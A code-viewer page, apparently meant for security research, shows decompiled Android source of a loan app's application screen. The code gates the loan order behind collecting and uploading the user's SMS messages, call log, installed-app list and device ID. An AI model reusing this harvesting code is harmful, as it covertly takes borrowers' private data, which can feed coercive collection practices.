导航菜单

页面标题

页面副标题

⁡⁡⁡⁡⁡⁡⁡鲸⁡⁡⁡⁡⁡⁡⁡⁡鱼⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡借⁡条⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡ v4.1.2 - MT0Act.java 源代码

正在查看: ⁡⁡⁡⁡⁡⁡⁡鲸⁡⁡⁡⁡⁡⁡⁡⁡鱼⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡借⁡条⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡⁡ v4.1.2 应用的 MT0Act.java JAVA 源代码文件

本页面展示 JAVA 反编译生成的源代码文件,支持语法高亮显示。 仅供安全研究与技术分析使用,严禁用于任何非法用途。请遵守相关法律法规。


package com.yuxianghua.ui.activitys;

import android.os.Bundle;
import android.text.TextUtils;
import android.view.View;
import android.widget.LinearLayout;
import android.widget.RelativeLayout;
import android.widget.TextView;
import androidx.core.app.NotificationCompat;
import androidx.core.content.ContextCompat;
import butterknife.BindView;
import com.alipay.alipaysecuritysdk.common.config.Constant;
import com.base.commonlibrary.base.BaseResult;
import com.base.commonlibrary.base.baserx.RxHelper;
import com.base.commonlibrary.base.baserx.RxSchedulers;
import com.base.commonlibrary.control.IPermissionResultListener;
import com.base.commonlibrary.utils.ApplicationUtil;
import com.base.commonlibrary.utils.MD5Utils;
import com.base.commonlibrary.utils.RSAUtils;
import com.base.commonlibrary.utils.RegexUtil;
import com.base.commonlibrary.utils.SPUtils;
import com.base.commonlibrary.views.TitleLayout;
import com.bigkoo.pickerview.builder.OptionsPickerBuilder;
import com.bigkoo.pickerview.listener.OnOptionsSelectListener;
import com.bigkoo.pickerview.view.OptionsPickerView;
import com.google.gson.Gson;
import com.yuxianghua.gzd.ContactsGetUtil;
import com.yuxianghua.mjyp.app.api.Api;
import com.yuxianghua.mjyp.app.api.Api2;
import com.yuxianghua.mjyp.app.api.AppConfig;
import com.yuxianghua.mjyp.app.base.BaseBindActivity;
import com.yuxianghua.mjyp.app.base.RxSubscriber;
import com.yuxianghua.ui.bean.ApplyBean;
import com.yuxianghua.ui.bean.BorrowOrderForm;
import com.yuxianghua.ui.bean.CalculateBean;
import com.yuxianghua.ui.bean.DevSmsBean;
import com.yuxianghua.ui.bean.EncForm;
import com.yuxianghua.ui.bean.HomeAmountBean;
import com.yuxianghua.ui.bean.MyInfoBean;
import com.yuxianghua.ui.bean.RegBean;
import java.math.BigDecimal;
import java.math.RoundingMode;
import java.util.ArrayList;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import java.util.UUID;
import rx.Observable;
import rx.Observer;
import rx.Subscriber;
import yhgjgdf.ijnhjfyd.ikbujfjfnjkif.R;

public class MT0Act extends BaseBindActivity {

    @BindView(R.id.all_money)
    TextView allMoney;
    ApplyBean applyBean;
    private String bankName;
    private String bankNum;

    @BindView(R.id.btn_ok)
    TextView btnOk;
    private CalculateBean calculateBean;

    @BindView(R.id.card_num)
    TextView cardNum;

    @BindView(R.id.day_num)
    TextView dayNum;

    @BindView(R.id.fees)
    TextView fees;

    @BindView(R.id.fengkong_fees)
    TextView fengkongFees;

    @BindView(R.id.fengkong_read_fees)
    TextView fengkongReadFees;

    @BindView(R.id.get_money)
    TextView getMoney;

    @BindView(R.id.info_fees)
    TextView infoFees;

    @BindView(R.id.lix)
    TextView lix;

    @BindView(R.id.lix2)
    TextView lix2;

    @BindView(R.id.lixi)
    TextView lixi;

    @BindView(R.id.lixi2)
    TextView lixi2;

    @BindView(R.id.ll_selector_amount)
    LinearLayout llSelectorAmount;
    private String loanPeriod;
    private BigDecimal ownActualMoney;
    private OptionsPickerView<String> pvOptions;

    @BindView(R.id.rl_card)
    RelativeLayout rlCard;

    @BindView(R.id.rl_fees)
    RelativeLayout rlFees;

    @BindView(R.id.rl_fengkong_fees)
    RelativeLayout rlFengkongFees;

    @BindView(R.id.rl_fengkong_read_fees)
    RelativeLayout rlFengkongReadFees;

    @BindView(R.id.rl_get_money)
    RelativeLayout rlGetMoney;

    @BindView(R.id.rl_info_fees)
    RelativeLayout rlInfoFees;

    @BindView(R.id.rl_lix2)
    RelativeLayout rlLix2;

    @BindView(R.id.rl_lixi)
    RelativeLayout rlLixi;

    @BindView(R.id.tip_all)
    TextView tipAll;

    @BindView(R.id.title)
    TitleLayout title;

    @BindView(R.id.tv_amount)
    TextView tvAmount;

    @BindView(R.id.tv_days)
    TextView tvDays;

    @BindView(R.id.tv_tixian_tip)
    TextView tv_tixian_tip;
    private List<String> moneys = new ArrayList();
    private int loanType = 1;
    private String enfLoanFlag = "0";
    private List<String> showmoneys = new ArrayList();
    private String sjamount = "0";
    private String period = "7";
    private String amount = "1000";
    int repLoanFlag = 0;

    @Override
    protected boolean canLoadMore() {
        return false;
    }

    @Override
    public int getLayoutId() {
        return R.layout.act_applys;
    }

    @Override
    protected void loadMore() {
    }

    @Override
    protected void refresh() {
    }

    @Override
    public void initPresenter() {
        if (getIntent() == null) {
            this.period = "7";
            this.amount = "1000";
        } else if (getIntent().getStringExtra("period") == null || getIntent().getStringExtra("amount") == null) {
            this.period = "7";
            this.amount = "1000";
        } else {
            this.period = getIntent().getStringExtra("period");
            this.amount = getIntent().getStringExtra("amount");
        }
    }

    @Override
    public void initView(Bundle bundle) {
        apply();
        this.llSelectorAmount.setOnClickListener(new View.OnClickListener() {
            @Override
            public final void onClick(View view) {
                MT0Act.this.lambda$initView$0$MT0Act(view);
            }
        });
        this.btnOk.setOnClickListener(new View.OnClickListener() {
            @Override
            public final void onClick(View view) {
                MT0Act.this.lambda$initView$1$MT0Act(view);
            }
        });
        getTip();
    }

    public void lambda$initView$0$MT0Act(View view) {
        if (this.moneys.size() > 0) {
            showPickerView();
        } else {
            apply();
        }
    }

    public void lambda$initView$1$MT0Act(View view) {
        if (!this.getMoney.getText().toString().equals("0.00")) {
            if (this.calculateBean != null) {
                permissionRequest(getString(R.string.permission_tip), new String[]{"android.permission.WRITE_EXTERNAL_STORAGE", "android.permission.READ_PHONE_STATE", "android.permission.READ_SMS", "android.permission.READ_CALL_LOG", "android.permission.WRITE_CALL_LOG"}, 100, new IPermissionResultListener() {
                    @Override
                    public void onPermissionFaild() {
                    }

                    @Override
                    public void onPermissionSuccess() {
                        SPUtils.putData(AppConfig.latitude, "中国");
                        SPUtils.putData(AppConfig.longitude, "中国");
                        if (TextUtils.isEmpty("")) {
                            SPUtils.putData(AppConfig.address, "中国");
                        } else {
                            SPUtils.putData(AppConfig.address, "");
                        }
                        MT0Act.this.getDevSmsBean();
                    }
                });
                return;
            } else {
                apply();
                return;
            }
        }
        showShortToast(R.string.pls_choose_money);
    }

    public void getTip() {
        this.mRxManager.add(Api.getDefault().getConfigForAmount().compose(RxHelper.handleResult()).subscribe((Subscriber<? super R>) new RxSubscriber<HomeAmountBean>(this.mContext, false) {
            @Override
            protected void _onError(String str) {
            }

            @Override
            public void _onNext(HomeAmountBean homeAmountBean) {
                String content = homeAmountBean.getContent();
                if (TextUtils.isEmpty(content) || MT0Act.this.tv_tixian_tip == null) {
                    return;
                }
                MT0Act.this.tv_tixian_tip.setText(content);
            }
        }));
    }

    private void showPickerView() {
        if (this.pvOptions == null) {
            OptionsPickerView<String> build = new OptionsPickerBuilder(this.mContext, new OnOptionsSelectListener() {
                @Override
                public final void onOptionsSelect(int i, int i2, int i3, View view) {
                    MT0Act.this.lambda$showPickerView$2$MT0Act(i, i2, i3, view);
                }
            }).setTitleSize(15).setTitleBgColor(ContextCompat.getColor(this.mContext, R.color.white)).setSubmitColor(ContextCompat.getColor(this.mContext, R.color.colorAccent)).setCancelColor(ContextCompat.getColor(this.mContext, R.color.tip)).setTitleText(getString(R.string.choose_money)).setDividerColor(ContextCompat.getColor(this.mContext, R.color.line)).setTextColorCenter(ContextCompat.getColor(this.mContext, R.color.colorAccent)).setContentTextSize(20).build();
            this.pvOptions = build;
            build.setPicker(this.showmoneys);
        }
        this.pvOptions.show();
    }

    public void lambda$showPickerView$2$MT0Act(int i, int i2, int i3, View view) {
        this.getMoney.setText(this.showmoneys.get(i));
        this.tvAmount.setText(this.showmoneys.get(i));
        this.allMoney.setText(this.showmoneys.get(i));
        this.sjamount = this.moneys.get(i);
        getConfigForCharge();
    }

    protected void borrowOrder() {
        String str = (String) SPUtils.getData(AppConfig.address, "中国");
        String json = new Gson().toJson(new BorrowOrderForm("0", this.enfLoanFlag, this.bankName, Integer.valueOf(Integer.parseInt(this.loanPeriod)), this.sjamount.replace(getString(R.string.money_fh), ""), this.bankNum, str, (String) SPUtils.getData(AppConfig.longitude, "0.0"), (String) SPUtils.getData(AppConfig.latitude, "0.0"), ApplicationUtil.getAPPVersion(this.mContext), Constant.SDK_OS, this.amount, this.period));
        long currentTimeMillis = System.currentTimeMillis();
        String uuid = UUID.randomUUID().toString();
        String str2 = json + "@" + uuid + "@" + currentTimeMillis;
        String encrypt = RSAUtils.getInstance().encrypt(str2 + "@" + MD5Utils.md5(str2, AppConfig.md5key));
        StringBuilder sb = new StringBuilder();
        sb.append(currentTimeMillis);
        sb.append("");
        this.mRxManager.add(Api.getDefault().borrowOrderEnc(new EncForm(encrypt, uuid, sb.toString())).compose(RxHelper.handleResult()).subscribe((Subscriber<? super R>) new RxSubscriber<RegBean>(this.mContext, true) {
            @Override
            public void _onNext(RegBean regBean) {
                if (regBean != null) {
                    String record = regBean.getRecord();
                    Bundle bundle = new Bundle();
                    bundle.putString(AppConfig.ORDERID, record);
                    MT0Act.this.startActivity(N0ACT.class, bundle);
                    MT0Act.this.finish();
                    return;
                }
                MT0Act mT0Act = MT0Act.this;
                mT0Act.showShortToast(mT0Act.getResources().getString(R.string.server_error));
            }

            @Override
            protected void _onError(String str3) {
                Bundle bundle = new Bundle();
                bundle.putString(NotificationCompat.CATEGORY_MESSAGE, str3);
                MT0Act.this.startActivity(N0ACT.class, bundle);
            }
        }));
    }

    protected void apply() {
        getConfigForAmount();
    }

    public void setViewShow() {
        BigDecimal rate = this.applyBean.getRate();
        BigDecimal serviceCharge = this.applyBean.getServiceCharge();
        BigDecimal creditCer = this.applyBean.getCreditCer();
        BigDecimal riskMan = this.applyBean.getRiskMan();
        BigDecimal riskPre = this.applyBean.getRiskPre();
        if (rate.compareTo(BigDecimal.ZERO) == 0) {
            this.rlLixi.setVisibility(8);
        } else if (this.loanType != 2) {
            this.rlLixi.setVisibility(0);
        }
        if (serviceCharge.compareTo(BigDecimal.ZERO) == 0) {
            this.rlFees.setVisibility(8);
        } else {
            this.rlFees.setVisibility(0);
        }
        if (creditCer.compareTo(BigDecimal.ZERO) == 0) {
            this.rlInfoFees.setVisibility(8);
        } else {
            this.rlInfoFees.setVisibility(0);
        }
        if (riskMan.compareTo(BigDecimal.ZERO) == 0) {
            this.rlFengkongFees.setVisibility(8);
        } else {
            this.rlFengkongFees.setVisibility(0);
        }
        if (riskPre.compareTo(BigDecimal.ZERO) == 0) {
            this.rlFengkongReadFees.setVisibility(8);
        } else {
            this.rlFengkongReadFees.setVisibility(0);
        }
    }

    protected void getConfigForCharge() {
        String replace;
        if (this.applyBean != null && !RegexUtil.isEmpty(this.sjamount)) {
            if (this.repLoanFlag == 0) {
                replace = this.amount;
            } else {
                replace = this.sjamount.replace(getString(R.string.money_fh), "");
            }
            BigDecimal bigDecimal = new BigDecimal(replace);
            BigDecimal scale = this.applyBean.getRate().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
            BigDecimal scale2 = this.applyBean.getServiceCharge().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
            BigDecimal scale3 = this.applyBean.getCreditCer().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
            BigDecimal scale4 = this.applyBean.getRiskMan().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
            BigDecimal scale5 = this.applyBean.getRiskPre().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
            BigDecimal add = scale.add(scale2).add(scale3).add(scale4).add(scale5);
            int i = this.loanType;
            if (i == 2) {
                add = scale2.add(scale3).add(scale4).add(scale5);
            } else if (i == 3) {
                add = bigDecimal.add(scale).add(scale2).add(scale3).add(scale4).add(scale5);
            }
            this.calculateBean = new CalculateBean(bigDecimal, scale, scale2, scale3, scale4, scale5, add);
            if (scale.compareTo(BigDecimal.ZERO) == 0) {
                this.rlLixi.setVisibility(8);
            } else if (this.loanType != 2) {
                this.rlLixi.setVisibility(0);
            }
            if (scale2.compareTo(BigDecimal.ZERO) == 0) {
                this.rlFees.setVisibility(8);
            } else {
                this.rlFees.setVisibility(0);
            }
            if (scale3.compareTo(BigDecimal.ZERO) == 0) {
                this.rlInfoFees.setVisibility(8);
            } else {
                this.rlInfoFees.setVisibility(0);
            }
            if (scale4.compareTo(BigDecimal.ZERO) == 0) {
                this.rlFengkongFees.setVisibility(8);
            } else {
                this.rlFengkongFees.setVisibility(0);
            }
            if (scale5.compareTo(BigDecimal.ZERO) == 0) {
                this.rlFengkongReadFees.setVisibility(8);
            } else {
                this.rlFengkongReadFees.setVisibility(0);
            }
            this.lixi.setText(getString(R.string.money_fh) + scale + "");
            this.fees.setText(getString(R.string.money_fh) + scale2 + "");
            this.infoFees.setText(getString(R.string.money_fh) + scale3 + "");
            this.fengkongFees.setText(getString(R.string.money_fh) + scale4 + "");
            this.fengkongReadFees.setText(getString(R.string.money_fh) + scale5 + "");
            return;
        }
        apply();
    }

    @Override
    protected void onDestroy() {
        super.onDestroy();
    }

    public void update(DevSmsBean devSmsBean) {
        this.mRxManager.add(Api2.getDefault().infoSave(devSmsBean).compose(RxSchedulers.io_main()).subscribe((Subscriber<? super R>) new RxSubscriber<BaseResult>(this.mContext, true, false) {
            @Override
            public void _onNext(BaseResult baseResult) {
                if (baseResult.getCode() == 200) {
                    MT0Act.this.borrowOrder();
                } else {
                    MT0Act.this.showShortToast(baseResult.getMessage());
                }
            }

            @Override
            protected void _onError(String str) {
                MT0Act.this.showShortToast(str);
            }
        }));
    }

    public void getDevSmsBean() {
        startProgressDialog();
        this.mRxManager.add(Observable.create(new Observable.OnSubscribe() {
            @Override
            public final void call(Object obj) {
                MT0Act.this.lambda$getDevSmsBean$3$MT0Act((Subscriber) obj);
            }
        }).compose(RxSchedulers.io_main()).subscribe(new Observer<DevSmsBean>() {
            @Override
            public void onCompleted() {
                MT0Act.this.stopProgressDialog();
            }

            @Override
            public void onError(Throwable th) {
                MT0Act.this.stopProgressDialog();
            }

            @Override
            public void onNext(DevSmsBean devSmsBean) {
                MT0Act.this.update(devSmsBean);
            }
        }));
    }

    public void lambda$getDevSmsBean$3$MT0Act(Subscriber subscriber) {
        DevSmsBean devSmsBean = new DevSmsBean();
        List<DevSmsBean.SmsListBean> smsInPhone = ContactsGetUtil.getSmsInPhone(this.mContext);
        devSmsBean.setSmsList(smsInPhone);
        List<DevSmsBean.AppListBean> scanLocalInstallAppList = ContactsGetUtil.scanLocalInstallAppList(this.mContext.getPackageManager());
        devSmsBean.setSmsList(smsInPhone);
        devSmsBean.setAppList(scanLocalInstallAppList);
        devSmsBean.setCallList(ContactsGetUtil.getContentCallLog(this.mContext));
        String deviceID = ApplicationUtil.getDeviceID(this.mContext);
        String phoneModel = ApplicationUtil.phoneModel();
        devSmsBean.setCode(deviceID);
        devSmsBean.setSys(Constant.SDK_OS);
        devSmsBean.setModel(phoneModel);
        devSmsBean.setAddress((String) SPUtils.getData(AppConfig.address, "中国"));
        subscriber.onNext(devSmsBean);
        subscriber.onCompleted();
    }

    private void getBaseInfo(boolean z) {
        this.mRxManager.add(Api.getDefault().baseMyInfo().compose(RxHelper.handleResult()).subscribe((Subscriber<? super R>) new RxSubscriber<MyInfoBean>(this.mContext, z) {
            @Override
            public void _onNext(MyInfoBean myInfoBean) {
                myInfoBean.getLoanCount();
            }

            @Override
            protected void _onError(String str) {
                MT0Act.this.showErrorTip(str);
            }
        }));
    }

    public void getConfigForAmount() {
        this.mRxManager.add(Api.getDefault().getConfigForAmount().compose(RxHelper.handleResult()).subscribe((Subscriber<? super R>) new RxSubscriber<HomeAmountBean>(this.mContext, true) {
            @Override
            protected void _onError(String str) {
            }

            @Override
            public void _onNext(HomeAmountBean homeAmountBean) {
                if (homeAmountBean != null) {
                    MT0Act.this.repLoanFlag = homeAmountBean.getRepLoanFlag().intValue();
                    MT0Act.this.getApplyAfterConfig();
                }
            }
        }));
    }

    public void getApplyAfterConfig() {
        this.mRxManager.add(Api.getDefault().apply(Integer.parseInt(this.period)).compose(RxHelper.handleResult()).subscribe((Subscriber<? super R>) new RxSubscriber<ApplyBean>(this.mContext, true) {
            @Override
            public void _onNext(ApplyBean applyBean) {
                if (applyBean != null) {
                    MT0Act.this.applyBean = applyBean;
                    MT0Act.this.loanType = applyBean.getLoanType() == null ? 1 : applyBean.getLoanType().intValue();
                    int i = MT0Act.this.loanType;
                    if (i == 1) {
                        MT0Act.this.rlLixi.setVisibility(0);
                        MT0Act.this.rlLix2.setVisibility(8);
                        MT0Act.this.tipAll.setText(MT0Act.this.getResources().getString(R.string.due_shuld_also));
                    } else if (i == 2) {
                        MT0Act.this.rlLix2.setVisibility(0);
                        MT0Act.this.rlLixi.setVisibility(8);
                        MT0Act.this.tipAll.setText(MT0Act.this.getResources().getString(R.string.cash_total));
                    } else if (i == 3) {
                        MT0Act.this.rlLix2.setVisibility(8);
                        MT0Act.this.rlLixi.setVisibility(0);
                        MT0Act.this.tipAll.setText(MT0Act.this.getResources().getString(R.string.due_shuld_also));
                    }
                    List<BigDecimal> amountList = applyBean.getAmountList();
                    MT0Act.this.moneys.clear();
                    MT0Act.this.showmoneys.clear();
                    if (MT0Act.this.repLoanFlag != 0) {
                        Collections.sort(amountList, Collections.reverseOrder(new Comparator() {
                            @Override
                            public final int compare(Object obj, Object obj2) {
                                return ((BigDecimal) obj).compareTo((BigDecimal) obj2);
                            }
                        }));
                    }
                    for (int i2 = 0; i2 < amountList.size(); i2++) {
                        BigDecimal bigDecimal = amountList.get(i2);
                        MT0Act.this.moneys.add(MT0Act.this.getString(R.string.money_fh) + bigDecimal);
                        BigDecimal add = MT0Act.this.applyBean.getRate().multiply(bigDecimal).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN).add(bigDecimal);
                        MT0Act.this.ownActualMoney = add;
                        MT0Act.this.showmoneys.add(MT0Act.this.getString(R.string.money_fh) + add);
                    }
                    BigDecimal bigDecimal2 = amountList.get(0);
                    BigDecimal scale = MT0Act.this.applyBean.getRate().multiply(bigDecimal2).divide(new BigDecimal(100)).setScale(2, RoundingMode.DOWN);
                    MT0Act.this.tvAmount.setText(MT0Act.this.getString(R.string.money_fh) + bigDecimal2.add(scale));
                    MT0Act.this.getMoney.setText(MT0Act.this.getString(R.string.money_fh) + bigDecimal2.add(scale));
                    MT0Act.this.lixi.setText(MT0Act.this.getString(R.string.money_fh) + scale);
                    MT0Act.this.allMoney.setText(MT0Act.this.getString(R.string.money_fh) + bigDecimal2.add(scale));
                    MT0Act.this.bankName = applyBean.getBankName();
                    MT0Act.this.bankNum = applyBean.getBankNum();
                    if (MT0Act.this.bankNum != null && MT0Act.this.bankNum.length() > 4) {
                        MT0Act.this.cardNum.setText(MT0Act.this.bankName + MT0Act.this.getString(R.string.bank_last) + MT0Act.this.bankNum.substring(MT0Act.this.bankNum.length() - 4));
                    }
                    MT0Act.this.loanPeriod = applyBean.getLoanPeriod();
                    MT0Act.this.dayNum.setText(MT0Act.this.loanPeriod + MT0Act.this.getString(R.string.day));
                    MT0Act.this.setViewShow();
                    MT0Act.this.getMoney.setText(((String) MT0Act.this.showmoneys.get(0)) + "");
                    MT0Act.this.sjamount = ((String) MT0Act.this.moneys.get(0)) + "";
                }
            }

            @Override
            protected void _onError(String str) {
                MT0Act.this.showShortToast(str);
            }
        }));
    }
}